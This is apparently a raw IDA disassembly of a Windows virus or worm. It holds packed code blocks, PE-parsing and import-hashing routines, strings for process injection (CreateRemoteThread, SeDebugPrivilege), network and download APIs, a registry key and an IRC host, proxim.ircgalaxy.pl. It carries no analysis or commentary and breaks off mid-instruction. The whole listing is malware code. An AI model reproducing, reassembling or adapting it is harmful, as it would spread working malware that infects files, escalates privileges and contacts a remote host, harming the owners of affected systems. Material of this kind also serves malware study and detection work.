257AB446h, 46D44C61h dd 0C5511DBFh, 0D765DA6Ch, 0BEADAB84h, 1D9BBBA7h, 0BBCE65BAh dd 0A4460694h, 0B9D70511h, 4AED17A5h, 22C37529h, 3215BE38h dd 0EDB1E00Fh, 255A87B4h, 0B83545DBh, 110E192Eh, 0A8431397h dd 28DB8B9Ah, 0FD6CE07Dh, 0DC70EAEBh, 26D45B08h, 402129CCh dd 9F334E2Eh, 38A682DCh, 0AE2C7725h, 0B2C4143Bh, 5D345692h dd 6FD3B5F9h, 0C9AE9B0Ch, 0AEE28C2Ch, 6D8B63CFh, 50C379EDh dd 0DA1327A7h, 1707CE2Fh, 0AE673092h, 7B01C565h, 0DEAAF4B8h dd 413C6F51h, 0FB94C31Ah, 8E16DA7Dh, 4EF7B415h, 0BA708C9Fh dd 8BE870C5h, 0E07CF4A4h, 871DD343h, 16F7BA00h, 0F680AFDh dd 0DCD2D672h, 29C4916Bh, 3EDA6E47h, 1F97C7A1h, 7354A7CAh dd 6D09CFB2h, 79C29B12h, 0D3A86985h, 5038FE9Ah, 2174DBh dd 1DF2C864h, 0CB672D38h, 0D9DBBFE2h, 82CE086Ch, 0FA965C69h dd 0A0043E4Ah, 0D61E843Dh, 0D60A5358h, 71D4109Ah, 3E8FCE0Eh dd 8958F022h, 0CBC2E074h, 0E3C01DFDh, 0FDD34C37h, 1377B01Dh dd 0AD2E123Bh, 722C8195h, 6147C7B6h, 7FE31D79h, 1A68FBEBh dd 0BA195397h, 50B405D7h, 0B70C7FEDh, 676E2B8Ah, 0A085BF23h dd 9C007AC0h, 0D3B4D579h, 0F2569020h, 720FE467h, 0E10EC9D5h dd 482761C5h, 1449F422h, 8A9CBCEBh, 7F380192h, 0A65BCE34h dd 4FA77886h, 65F92D3Ch, 0FF9AE0EAh, 9B50D062h, 0AB11D337h dd 0D1054085h, 428B946Eh, 9183A438h, 0ADF9C05Eh, 3DA155BAh dd 8B89FED9h, 0F8D7205Ah, 0D0719751h, 56F33942h, 0C5D593BAh dd 0DF2358AAh, 8455F77Bh, 103B140h, 0A014F83Ch, 31ACE87Ch dd 0E0CA3AF7h, 72B21E82h, 0FF8108B8h, 0E8BFA7BAh, 63B9BD0Dh dd 6FD6077Ch, 0EEEC2589h, 0DC1A50ADh, 22CAA440h, 34209BDh dd 0F754DB7Eh, 0CE7E3CDAh, 2CDEC2Dh, 0C576E54Fh, 2603FD61h dd 0DB7FB8DCh, 0BEB1BAB7h, 0BA8584B9h, 0FC1E3E48h, 6F813D68h dd 48EF9C70h, 8D433B96h, 38C4B6BAh, 0FD68F55Fh, 2CD30B5Fh dd 592EA702h, 2F6C9396h, 3D2CB862h, 0ED83F483h, 75D92258h dd 0EDC8291Eh, 1EF0B753h dd 469ACD14h, 0CBD8EB1Dh, 0C91F194Dh, 174B9A57h, 9817DA4Ch dd 0C03CEA7Eh, 0E87CABD2h, 0ADA4B509h, 4CD3BB2Fh, 0CE256D0h dd 5488DF62h, 0C5C6190Fh, 3F1127BBh, 25B9EC11h, 0EA25C83Eh dd 0EE32F86Ch, 0F66ABED8h, 0BFC69B6Dh, 0D3C6C91Dh, 0F701E95Dh dd 55637C63h, 0FD61AAD0h, 98FCDD5Ah, 59CAD034h, 0EFDFEACEh dd 31CD3643h, 81A9AEF5h, 9F3329D8h, 0B95D17BEh, 0DAC98D1Eh dd 65AC88B0h, 36ACA83Ch, 0A62043B7h, 0C0C3C237h, 0B04C5DA1h dd 17C86109h, 0ED896BFBh, 45143F51h, 0B75318D5h, 1CB8520Ch dd 81CC7A80h, 2D2BCE37h, 0B43DE9A7h, 0A7D3EC50h, 15B1784Eh dd 0C1621BF3h, 95098D05h, 0BB2F7593h, 30B2A3DCh, 0F353B473h dd 0E4A60CFEh, 2774C428h, 0C24C9B48h, 0C83EAA0Ch, 0F86CBF20h dd 12FFF417h, 11AD9711h, 4A2E1396h, 2D2005A3h, 179C63FDh dd 6501C8E4h, 41211157h, 3B346DD1h, 6BE0B0DDh, 1682A307h dd 63053EA2h, 0C18D91Dh, 3F3B74D8h, 72D60F70h, 80718ECCh dd 650061FDh, 435F636Ah, 362262A3h, 79DD167Ah, 245CE59Eh dd 2E09C7EDh, 7A870CA6h, 0AF66AE6h, 4285E27Eh, 18h, 7Fh dup(0) dd 0E89000h, 8B000000h, 80F72404h, 242Bh, 80000000h, 29AC9889h dd 5C8B0000h, 2D740424h, 0B08959FCh, 29B0h, 29B4B889h dd 0B8800000h, 242Fh, 30D75E8h, 243098h, 25B8B00h, 8EB33FFh dd 2431988Bh, 33FF0000h, 8195555Bh, 604246Ch, 8100001Ch dd 0FFF000E3h, 6ED81FFh, 8B004010h, 8D04247Ch, 40343CB5h dd 0ADB900h, 0A4F30000h, 544E7B81h, 75736968h, 3C438B0Dh dd 6618048Dh, 45503881h, 0EB810874h, 100h, 508BE275h, 8BD30378h dd 4A8B2072h, 51F30318h, 81C303ADh, 4700FF78h, 1B757465h dd 50037881h, 75636F72h, 7788112h, 72646441h, 78810975h dd 7373650Bh, 0E2057400h, 0C35D59D7h, 8B240C29h, 3592472h dd 4B70FF3h, 1C7A8B4Eh, 348BFB03h, 0E8F30387h, 0Ch, 736F6C43h dd 6E614865h, 656C64h, 89D6FF53h, 40353C85h, 0DE800h, 72430000h dd 65746165h, 6E657645h, 53004174h, 8589D6FFh, 403540h dd 0DE8h, 74654700h, 7473614Ch, 6F727245h, 0FF530072h dd 448589D6h, 0E8004035h, 70h, 2174C085h, 4495FF50h, 85004035h dd 8D1075C0h, 4011D285h, 0FF508A00h, 6EE8h, 0FF7CEB00h dd 40353C95h, 3185F700h, 4034h, 74800000h, 35B58D1Eh, 8B004034h dd 0A404247Ch, 0B29D8BA5h, 8B004039h, 4039B6B5h, 0BABD8B00h dd 5D004039h, 6A5AC3h, 6A006Ah, 168006Ah, 8B000400h, 50006AC4h dd 0C48B0C6Ah, 5456E2FFh, 335Fh, 0DAE8C933h, 8DFFFFFFh dd 4011A195h, 51515200h, 4095FF50h, 83004035h, 8AC320C4h dd 225FB9F2h, 10300000h, 0E2D60240h, 83B0C3F9h, 401580A5h dd 0A5830000h, 401584h, 88A58300h, 4015h, 3431858Bh, 0C9330040h dd 20B1016Ah, 397E858Fh, 0D2330040h, 920FE8D1h, 3E2C0C2h dd 397E9501h, 0EEE20040h, 385C657h, 1004013h, 3548B589h dd 0B58D0040h, 4015BBh, 0BD8DC933h, 403558h, 5EE81EB1h dd 5F000003h, 359495FFh, 0E8C10040h, 0D4840F1Fh, 8B000000h dd 406A1447h, 68C303h, 89080010h, 40355085h, 69CE6800h dd 6A0000h, 35C895FFh, 0C0850040h, 0FEF1840Fh, 8D97FFFFh dd 401000B5h, 0B9EF8B00h, 0A74h, 1000ED81h, 958D0040h dd 401283h, 0E2FFA5F3h, 8B20EC83h, 33086AFCh, 958D59C0h dd 401A3Dh, 0FC8BABF3h, 0FE105789h, 68571C47h, 10003h dd 355095FFh, 0C4830040h, 0FC08520h, 0FFFEA284h, 6A97FFh dd 68016Ah, 68800004h, 10000h, 355095FFh, 0C0850040h, 0FE85840Fh dd 6AFFFFh, 6850h, 6A0004h, 570CE8C1h, 6850016Ah, 10001h dd 355095FFh, 0A680040h, 0FF000100h, 40355095h, 5E800h dd 54E90000h, 6AFFFFFEh, 0AE35901h, 95FF0A6Ah, 4035BCh dd 83C3F1EBh, 403570BDh, 840F0000h, 0FFFFFE37h, 6E8h, 44544E00h dd 0FF004C4Ch, 40358895h, 73B58D00h, 33004017h, 0D0BD8DC9h dd 0B1004035h, 46E8930Bh, 83000002h, 4035F8BDh, 840F0000h dd 0FFFFFE03h, 35D4858Bh, 70FF0040h, 95858F01h, 8B004033h dd 4035E885h, 170FF00h, 33E2858Fh, 858B0040h, 4035D8h dd 8F0170FFh, 4033E985h, 0DC8D8B00h, 0E3004035h, 171FF09h dd 33F6858Fh, 0F2E80040h, 8DFFFFFDh, 40364EBDh, 6ACF8B00h dd 0FFD9F600h, 0E1830470h, 3406A03h, 6A57F9h, 0B58D186Ah dd 40159Fh, 1CB9h, 8DD48B00h, 0FFFE4D04h, 0AB66FFFFh, 4D048Dh dd 66000000h, 4478DABh, 0ACE432ABh, 0FBE2AB66h, 0CE68006Ah dd 8B000069h, 8B006ACCh, 68006AC4h, 8000000h, 5251406Ah dd 0FF500E6Ah, 4035E095h, 0C4835800h, 69CE6840h, 0D48B0000h dd 0CC8B006Ah, 6A406Ah, 6A52026Ah, 69CE6800h, 6A0000h dd 50FF6A51h, 35E495FFh, 595F0040h, 840FFF85h, 0FFFFFD27h dd 1000B58Dh, 74B90040h, 8B00000Ah, 81A5F3EFh, 401000EDh dd 4C858D00h, 0FF004014h, 0E0958DE0h, 52004018h, 359C95FFh dd 16E80040h, 4C000000h, 756B6F6Fh, 69725070h, 656C6976h dd 61566567h, 4165756Ch, 95FF5000h, 403548h, 354C8589h dd 54500040h, 0FF6A206Ah, 35EC95FFh, 0C0850040h, 963F755Fh dd 5656026Ah, 16AD48Bh, 11E852h, 65530000h, 75626544h dd 69725067h, 656C6976h, 56006567h, 354C95FFh, 0C48B0040h dd 50565656h, 95FF5756h, 4035D0h, 5710C483h, 353C95FFh dd 6A0040h, 95FF026Ah, 403570h, 128B9h, 0E12B9700h, 54240C89h dd 0AC95FF57h, 33004035h, 3CA583F6h, 4036h, 95FF5754h dd 4035B0h, 5C74C085h, 4FE8346h, 74FFEE72h, 6A0824h, 95FF2A6Ah dd 4035A8h, 0DC74C085h, 43DE893h, 0C9330000h, 3930E391h dd 40363C85h, 81287500h, 0DAEC1h, 50545000h, 50505156h dd 6895FF53h, 85004035h, 0F7459C0h, 82474FFh, 363C858Fh dd 0ACE80040h, 53FFFFFDh, 353C95FFh, 98EB0040h, 128C481h dd 0FF570000h, 40353C95h, 0FBE5E900h, 498DFFFFh, 58585800h dd 29CE00h, 0D6500h, 3 dup(0) dd 53565100h, 354895FFh, 59AB0040h, 75C084ACh, 0C3EEE2FBh dd 7361425Ch, 6D614E65h, 624F6465h, 7463656Ah, 33575C73h dd 69565F32h, 757472h, 7274736Ch, 6E656Ch, 61657243h, 69466574h dd 41656Ch, 61657243h, 69466574h, 614D656Ch, 6E697070h dd 43004167h, 74616572h, 6F725065h, 73736563h, 72430041h dd 65746165h, 6F6D6552h, 68546574h, 64616572h, 65724300h dd 54657461h, 61657268h, 72430064h, 65746165h, 6C6F6F54h dd 706C6568h, 6E533233h, 68737061h, 4500746Fh, 54746978h dd 61657268h, 69460064h, 6954656Ch, 6F54656Dh, 74737953h dd 69546D65h, 4700656Dh, 69467465h, 7441656Ch, 62697274h dd 73657475h, 65470041h, 6C694674h, 7A695365h, 65470065h dd 6C694674h, 6D695465h, 65470065h, 646F4D74h, 48656C75h dd 6C646E61h, 47004165h, 65547465h, 6946706Dh, 614E656Ch dd 41656Dh, 54746547h, 50706D65h, 41687461h, 74654700h dd 73726556h, 6E6F69h, 56746547h, 69737265h, 78456E6Fh dd 6F4C0041h, 694C6461h, 72617262h, 4D004179h, 69567061h dd 664F7765h, 656C6946h, 65704F00h, 6C69466Eh, 70614D65h dd 676E6970h, 704F0041h, 72506E65h, 7365636Fh, 72500073h dd 7365636Fh, 46323373h, 74737269h, 6F725000h, 73736563h dd 654E3233h, 53007478h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 65530041h, 6C694674h, 6D695465h, 6C530065h dd 706565h, 74737953h, 69546D65h, 6F54656Dh, 656C6946h dd 656D6954h, 6D6E5500h, 69567061h, 664F7765h, 656C6946h dd 72695600h, 6C617574h, 6F6C6C41h, 72570063h, 46657469h dd 656C69h, 6441744Eh, 7473756Ah, 76697250h, 67656C69h dd 6F547365h, 6E656Bh, 7243744Eh, 65746165h, 656C6946h dd 43744E00h, 74616572h, 6F725065h, 73736563h, 43744E00h dd 74616572h, 6F725065h, 73736563h, 4E007845h, 65724374h dd 53657461h, 69746365h, 4E006E6Fh, 70614D74h, 77656956h dd 6553664Fh, 6F697463h, 744E006Eh, 6E65704Fh, 656C6946h dd 4F744E00h, 506E6570h, 65636F72h, 6F547373h, 6E656Bh dd 7250744Eh, 6365746Fh, 72695674h, 6C617574h, 6F6D654Dh dd 4E007972h, 69725774h, 69566574h, 61757472h, 6D654D6Ch dd 79726Fh, 556C7452h, 6F63696Eh, 74536564h, 676E6972h dd 6E416F54h, 74536973h, 676E6972h, 41535700h, 72617453h dd 707574h, 736F6C63h, 636F7365h, 74656Bh, 6E6E6F63h, 746365h dd 68746567h, 6274736Fh, 6D616E79h, 65720065h, 73007663h dd 646E65h, 6B636F73h, 49007465h, 7265746Eh, 4374656Eh dd 65736F6Ch, 646E6148h, 4900656Ch, 7265746Eh, 4774656Eh dd 6F437465h, 63656E6Eh, 53646574h, 65746174h, 746E4900h dd 656E7265h, 65704F74h, 4900416Eh, 7265746Eh, 4F74656Eh dd 556E6570h, 416C72h, 65746E49h, 74656E72h, 64616552h dd 656C6946h, 56444100h, 33495041h, 4C442E32h, 6552004Ch dd 6F6C4367h, 654B6573h, 65520079h, 65704F67h, 79654B6Eh dd 417845h, 51676552h, 79726575h, 756C6156h, 41784565h dd 67655200h, 56746553h, 65756C61h, 417845h, 2B05E983h dd 6851C8h, 8DE80000h, 6A03244Ch, 51056A00h, 56A5350h dd 8B50CC8Bh, 6A5450D4h, 53525140h, 35F095FFh, 0C4830040h dd 0F495FF0Ch, 83004035h, 57C308C4h, 15B1858Dh, 0FF330040h dd 6A006A50h, 0A495FF0Eh, 85004035h, 90840FC0h, 50000000h dd 69CE68h, 6AD48B00h, 6ACC8B00h, 6840h, 26A0010h, 68006A52h dd 69CEh, 5351006Ah, 0E495FF50h, 5F004035h, 3C95FF59h dd 85004035h, 8B5C74FFh, 4015888Dh, 8D0CE300h, 40100095h dd 57D10300h, 8BD2FF53h, 4035D485h, 948F8D00h, 0E8000023h dd 0FFFFFF54h, 35E8858Bh, 8F8D0040h, 23E1h, 0FFFF43E8h dd 0D8858BFFh, 8D004035h, 23E88Fh, 0FF32E800h, 858BFFFFh dd 4035DCh, 0B74C085h, 23F58F8Dh, 1DE80000h, 8BFFFFFFh dd 55C35FC7h, 0E8h, 0ED815D00h, 401A14h, 858DC933h, 401DAEh dd 51515451h, 0FF515150h, 40356C95h, 24048700h, 353C95FFh dd 0C25D0040h, 0E8550004h, 0 dd 43ED815Dh, 6A00401Ah, 0E958DFFh, 5000401Ah, 2420CD52h dd 83002A00h, 0C7660CC4h, 401A5485h, 0C720CD00h, 401A5685h dd 2A002400h, 6AC35D00h, 0FF016A01h, 473FF33h, 0C08515FFh dd 0B68F074h, 8B000000h, 50035BD0h, 72B58D3Ch, 8B00401Ah dd 10CBAh, 88A8B00h, 3000001h, 60CB2BF8h, 0A6F3CB8Bh, 47057461h dd 0C2EBF5E2h, 570FC783h, 8B53D48Bh, 6A5450CCh, 6A525140h dd 0F095FFFFh, 83004035h, 958B0CC4h, 403574h, 0EA83D72Bh dd 6A07C707h, 8900E800h, 6AC30357h, 9E8581Ah, 8D000000h dd 0FEAA6142h, 0C3F075C9h ; =============== S U B R O U T I N E ======================================= sub_314496F0 proc near ; CODE XREF: sub_31449F5B+1Bp ; sub_3144A0D3+3p ... imul edx, [ebp+403646h], 8088405h inc edx mov [ebp+403646h], edx mul edx retn sub_314496F0 endp ; --------------------------------------------------------------------------- dd 0E855h, 815D0000h, 401B09EDh, 4A9D8B00h, 83004036h dd 8247Ch, 0B9840Fh, 0EC810000h, 208h, 1046854h, 95FF0000h dd 403590h, 848DFC8Bh, 10424h, 6A5000h, 4E8h, 54525600h dd 95FF5700h, 40358Ch, 978DC933h, 104h, 26A5151h, 68016A51h dd 40000000h, 5C95FF52h, 96004035h, 5B74F685h, 4685450h dd 57000001h, 2024B4FFh, 0FF000002h, 40362895h, 0C0855900h dd 14E31674h, 6AD48B50h, 57515200h, 0CC95FF56h, 59004035h dd 0D075C085h, 3C95FF56h, 8D004035h, 57524457h, 8D58446Ah dd 10497h, 0C033AB00h, 0F359106Ah, 505050ABh, 50505050h dd 6495FF52h, 81004035h, 208C4h, 2474FF00h, 1895FF08h dd 53004036h, 361895FFh, 0C25D0040h, 3E800004h, 4601750Ah dd 15848D8Bh, 19E30040h, 1000958Dh, 0D1030040h, 84D2FF56h dd 1F880FC0h, 0F000001h, 11084h, 3A3E8000h, 80461075h dd 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h, 0CF8B4275h dd 4F0146C6h, 6A51CE2Bh, 53565100h, 361095FFh, 3B590040h dd 0DF850FC1h, 8D000000h, 401DA285h, 68006A00h, 0Ch, 95FF5350h dd 403610h, 0C3Dh, 0BF850F00h, 0E9000000h, 0B1h, 52503E81h dd 850F5649h, 0A5h, 0AC08C683h, 840F0D3Ch, 99h, 0F375203Ch dd 0F3A3CACh, 8C85h, 200DAD00h, 3D202020h, 74656721h, 3CAC7F75h dd 817C7520h, 6820FF7Eh, 71757474h, 70037E81h, 752F2F3Ah dd 0FF47C668h, 0BA310F00h, 2710h, 0FF52E2F7h, 4035BC95h dd 50C03300h, 0E8505050h, 9, 6E776F44h, 64616F6Ch, 2095FF00h dd 85004036h, 333674C0h, 4A8589C9h, 51004036h, 20068h dd 56515180h, 2495FF50h, 8D004036h, 401B0395h, 0C9335000h dd 52505154h, 95FF5151h, 40356Ch, 0FF240487h, 40353C95h dd 80C3F800h, 4015778Dh, 0C3F90100h aSoftwareMicr_2 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer',0 aTargethost db 'TargetHost',0 dw 2 db 0FFh db 0F0h, 3Ah, 41h aZproxim_ircgal db 'êZproxim.ircgalaxy.pl',0 ; --------------------------------------------------------------------------- dec esi dec ecx inc ebx dec ebx and [eax+64h], dh jno short loc_314499EE jno short near ptr loc_314499F0+5 jz short near ptr loc_31449A08+1 or dl, [ebp+53h] inc ebp push edx and [esi+30h], ch xor dh, [eax] xor eax, 2E203130h and [esi], ch and [edx], bh sub eax, 4E494F4Ah and [esi], ah jbe short near ptr loc_31449A13+1 jb short near ptr loc_31449A20+1 jnz short near ptr loc_314499B6+3 push ebp call $+5 pop ebp loc_314499B6: ; CODE XREF: .xur_:314499ADj sub ebp, 401DB4h mov byte ptr [ebp+401577h], 0 call dword ptr [ebp+403594h] shr eax, 1Fh jz short loc_31449A0A push 1Eh mov esi, [ebp+403550h] pop ecx loc_314499D7: ; CODE XREF: .xur_:loc_31449A06j lodsb cmp al, 2Eh jnz short loc_31449A06 cmp word ptr [esi], 1DFFh jnz short loc_31449A06 lea edi, [ebp+403640h] mov esi, [esi+2] push edi movsd loc_314499EE: ; CODE XREF: .xur_:31449989j movsw loc_314499F0: ; CODE XREF: .xur_:3144998Bj lea eax, [ebp+40336Ah] pop dword ptr [ebp+403390h] cli mov [esi-6], eax mov word ptr [esi-2], cs sti mov cl, 1 loc_31449A06: ; CODE XREF: .xur_:314499DAj ; .xur_:314499E1j loop loc_314499D7 loc_31449A08: ; CODE XREF: .xur_:3144998Dj jmp short loc_31449A4D ; --------------------------------------------------------------------------- loc_31449A0A: ; CODE XREF: .xur_:314499CCj lea eax, [ebp+4015B1h] push eax push 0 loc_31449A13: ; CODE XREF: .xur_:314499A9j push 0Eh call dword ptr [ebp+4035A4h] cmp dword ptr [esp+8], 4 loc_31449A20: ; CODE XREF: .xur_:314499ABj jnz short loc_31449A4D call near ptr loc_31449A2A+1 push ebx inc esi inc ebx loc_31449A2A: ; CODE XREF: .xur_:31449A22p add bh, bh xchg eax, ebp mov ds:48E80040h, dh cld ; --------------------------------------------------------------------------- dd 7E8FFFFh, 53000000h, 4F5F4346h, 95FF0053h, 403588h dd 0FFFC31E8h db 0FFh ; --------------------------------------------------------------------------- loc_31449A4D: ; CODE XREF: .xur_:loc_31449A08j ; .xur_:loc_31449A20j call near ptr dword_31448C00+1A8h dec dword ptr [ebp+401303h] call near ptr loc_31449A67+1 push ebp push ebx inc ebp push edx xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_31449A67: ; CODE XREF: .xur_:31449A58p add bh, bh xchg eax, ebp pushf xor eax, 0AE80040h ; --------------------------------------------------------------------------- dd 77000000h, 69727073h, 4166746Eh, 95FF5000h, 403548h dd 35548589h, 310F0040h, 18E08D8Dh, 85890040h, 403646h dd 9C95FF51h, 93004035h, 468h, 0EDB58D00h, 59004018h, 362CBD8Dh dd 0D6E80040h, 66FFFFF6h, 1D6785C7h, 0F0FF0040h, 1D69A583h dd 8D000040h, 401D2795h, 6A545000h, 52006A01h, 268h, 3095FF80h dd 85004036h, 22755AC0h, 1D5A8D8Dh, 6A520040h, 67B58D06h dd 5400401Dh, 51505056h, 3495FF52h, 58004036h, 362C95FFh dd 85C60040h, 40384Dh, 0CE800h, 53570000h, 334B434Fh, 4C442E32h dd 95FF004Ch, 40359Ch, 76893h, 0B58D0000h, 401844h, 0FCBD8D59h dd 0E8004035h, 0FFFFF651h, 0CE8h, 4E495700h, 54454E49h dd 4C4C442Eh, 9C95FF00h, 85004035h, 0E7840FC0h, 93000001h dd 568h, 82B58D00h, 59004018h, 3618BD8Dh, 1AE80040h, 83FFFFF6h dd 40361CBDh, 840F0000h, 1C2h, 190EC81h, 68540000h, 101h dd 35FC95FFh, 0C4810040h, 190h, 6AD48B50h, 95FF5200h, 40361Ch dd 7559C085h, 1388680Dh, 95FF0000h, 4035BCh, 0BD83E2EBh dd 401D69h, 8D297500h, 401D6D85h, 95FF5000h, 403608h, 840FC085h dd 13Bh, 8B0C408Bh, 8F30FF00h, 401D6985h, 4D85C600h, 1004038h dd 16A006Ah, 95FF026Ah, 403614h, 0FFFF883h, 11284h, 958D9300h dd 401D65h, 5352106Ah, 360495FFh, 0C0850040h, 0F2850Fh dd 0BD8D0000h, 401D86h, 0BCE808B1h, 68FFFFFAh, 94h, 89E62B5Eh dd 0FF542434h, 40359895h, 94BD8D00h, 0B100401Dh, 0FA9DE801h dd 448BFFFFh, 0E0C11024h, 24440B08h, 8E0C104h, 824440Bh dd 5E850h, 2E250000h, 57007836h, 355495FFh, 0C4830040h dd 647C60Ch, 81958D20h, 6A00401Dh, 216800h, 53520000h dd 361095FFh, 7C8D0040h, 0FF571424h, 40355895h, 3804C600h dd 6A400Ah, 0FF535750h, 40361095h, 8DE60300h, 401DA2BDh dd 68006A00h, 0Ch, 95FF5357h, 403610h, 0C3Dh, 8D4D7500h dd 40364EB5h, 4D8D8D00h, 2B004038h, 51006ACEh, 95FF5356h dd 40360Ch, 7E00F883h, 0FE8B912Fh, 364EB58Dh, 0DB00040h dd 1075AEF2h, 0FAF8E860h, 7261FFFFh, 8D09E317h, 0EAEB0177h dd 0CE2BCF8Bh, 364EBD8Dh, 0A4F30040h, 0B9EBF787h, 95FF53h dd 80004036h, 401577BDh, 2A740100h, 753068h, 0BC95FF00h dd 80004035h, 40384DBDh, 11740000h, 1D6985C7h, 40h, 85C60000h dd 40384Dh, 0FE56E900h, 85C7FFFFh, 401580h, 80000000h dd 4C25Dh, 204F0A0Dh, 6E6F6F6Eh, 20666F20h, 6566696Ch dd 204F2021h, 656D6974h, 206F7420h, 656C6563h, 74617262h dd 0A0D2165h, 20202020h, 73204F20h, 656D6D75h, 61672072h dd 6E656472h, 520A0D21h, 6E656C65h, 73656C74h, 20796C73h dd 70706168h, 6E612079h, 78652064h, 74636570h, 2C746E61h dd 61747320h, 6E69646Eh, 2D203A67h, 61570A0Dh, 69686374h dd 6120676Eh, 64206C6Ch, 61207961h, 6E20646Eh, 74686769h dd 6F66202Ch, 72662072h, 646E6569h, 20492073h, 74696177h dd 570A0D3Ah, 65726568h, 65726120h, 756F7920h, 7266202Ch dd 646E6569h, 43203F73h, 21656D6Fh, 20744920h, 74207369h dd 21656D69h, 27744920h, 616C2073h, 0D216574h, 0C784040Ah dd 0D479ED30h, 3752484Fh, 0A6142940h, 0A6141310h, 0B1FAE510h dd 6CCC5C27h, 99AD47C2h, 6EF96A62h, 73C17E60h, 0AB59571Ah dd 0B8B3523Ah, 0F2086DD8h, 10h, 12h dup(0) db 0 ; =============== S U B R O U T I N E ======================================= sub_31449EA5 proc near ; CODE XREF: sub_31449EEC:loc_31449F49p ; sub_31449FAC+7p ... arg_0 = dword ptr 4 pusha and dword ptr [ebp+4039A6h], 0 and dword ptr [ebp+4039AAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_31449EC1: ; CODE XREF: sub_31449EA5+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_31449EE3 cmp eax, [edx+8] jnb short loc_31449EE3 mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+4039A6h], edx mov [ebp+4039AAh], eax jmp short loc_31449EE8 ; --------------------------------------------------------------------------- loc_31449EE3: ; CODE XREF: sub_31449EA5+23j ; sub_31449EA5+28j add edx, 28h loop loc_31449EC1 loc_31449EE8: ; CODE XREF: sub_31449EA5+3Cj popa retn 4 sub_31449EA5 endp ; =============== S U B R O U T I N E ======================================= sub_31449EEC proc near ; CODE XREF: .xur_:3144A218p ; .xur_:3144A23Ep mov [ebp+4022F7h], al call sub_31449F5B push 20h lea eax, [ebp+402224h] pop ecx loc_31449F03: ; CODE XREF: sub_31449EEC+1Ej cmp [eax], ebx jz short loc_31449F13 add eax, 4 loop loc_31449F03 inc dword ptr [ebp+40398Eh] retn ; --------------------------------------------------------------------------- loc_31449F13: ; CODE XREF: sub_31449EEC+19j neg ecx add ecx, [ebp+4022F7h] jecxz short loc_31449F2D loc_31449F1D: ; CODE XREF: sub_31449EEC+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_31449F1D mov [ebp+402224h], ebx loc_31449F2D: ; CODE XREF: sub_31449EEC+2Fj ; sub_31449F5B+34j cmp dword ptr [edx], 0 jz short loc_31449F37 sub esi, [edx] add esi, [edx+10h] loc_31449F37: ; CODE XREF: sub_31449EEC+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_31449F46 push dword ptr [edx] jmp short loc_31449F49 ; --------------------------------------------------------------------------- loc_31449F46: ; CODE XREF: sub_31449EEC+54j push dword ptr [edx+10h] loc_31449F49: ; CODE XREF: sub_31449EEC+58j call sub_31449EA5 sub ecx, esi sub ecx, [ebp+4039AAh] pop eax add ecx, [ebx+34h] retn sub_31449EEC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31449F5B proc near ; CODE XREF: sub_31449EEC+6p pop dword ptr [ebp+403992h] mov dword ptr [ebp+40398Eh], 0 call sub_31449FAC mov eax, [ebp+40398Eh] call sub_314496F0 call sub_31449F98 cmp dword ptr [ebp+40398Eh], 0 jnz short loc_31449F91 mov [ebp+4022A0h], ebx jmp short loc_31449F2D ; --------------------------------------------------------------------------- loc_31449F91: ; CODE XREF: sub_31449F5B+2Cj dec dword ptr [ebp+40398Eh] retn sub_31449F5B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31449F98 proc near ; CODE XREF: sub_31449F5B+20p pop dword ptr [ebp+403992h] mov [ebp+40398Eh], edx call sub_31449FAC xor ecx, ecx retn sub_31449F98 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31449FAC proc near ; CODE XREF: sub_31449F5B+10p ; sub_31449F98+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_31449EA5 add edx, [ebp+4039AAh] add edx, esi loc_31449FC0: ; CODE XREF: sub_31449FAC+120j cmp dword ptr [edx+0Ch], 0 jz locret_3144A0D1 cmp dword ptr [edx+10h], 0 jz locret_3144A0D1 mov eax, [edx+0Ch] push eax call sub_31449EA5 add eax, [ebp+4039AAh] add eax, esi push eax loc_31449FE6: ; CODE XREF: sub_31449FAC+47j mov cl, [eax] cmp cl, 0 jz short loc_3144A006 cmp cl, 2Eh jz short loc_31449FF5 loc_31449FF2: ; CODE XREF: sub_31449FAC+58j inc eax jmp short loc_31449FE6 ; --------------------------------------------------------------------------- loc_31449FF5: ; CODE XREF: sub_31449FAC+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, 4C4C44h jnz short loc_31449FF2 loc_3144A006: ; CODE XREF: sub_31449FAC+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_3144A0C9 cmp word ptr [eax-2], 3233h jnz loc_3144A0C9 push esi cmp dword ptr [edx], 0 jnz short loc_3144A029 mov ecx, [edx+10h] jmp short loc_3144A02B ; --------------------------------------------------------------------------- loc_3144A029: ; CODE XREF: sub_31449FAC+76j mov ecx, [edx] loc_3144A02B: ; CODE XREF: sub_31449FAC+7Bj add esi, ecx push ecx call sub_31449EA5 add esi, [ebp+4039AAh] loc_3144A039: ; CODE XREF: sub_31449FAC+90j ; sub_31449FAC+117j lodsd test eax, eax js short loc_3144A039 jz loc_3144A0C8 push dword ptr [ebp+4039AAh] push eax call sub_31449EA5 add eax, [ebp+4039AAh] pop dword ptr [ebp+4039AAh] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_3144A065: ; CODE XREF: sub_31449FAC+CEj movzx ecx, byte ptr [eax] jecxz short loc_3144A07C or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_3144A065 ; --------------------------------------------------------------------------- loc_3144A07C: ; CODE XREF: sub_31449FAC+BCj cmp ebx, 0DDBBD70Fh jz short loc_3144A0C2 cmp ebx, 0DB6E45A8h jz short loc_3144A0C2 cmp ebx, 0FFA13B59h jz short loc_3144A0C2 cmp ebx, 0ACB522D6h jz short loc_3144A0C2 cmp ebx, 0F358E993h jz short loc_3144A0C2 cmp 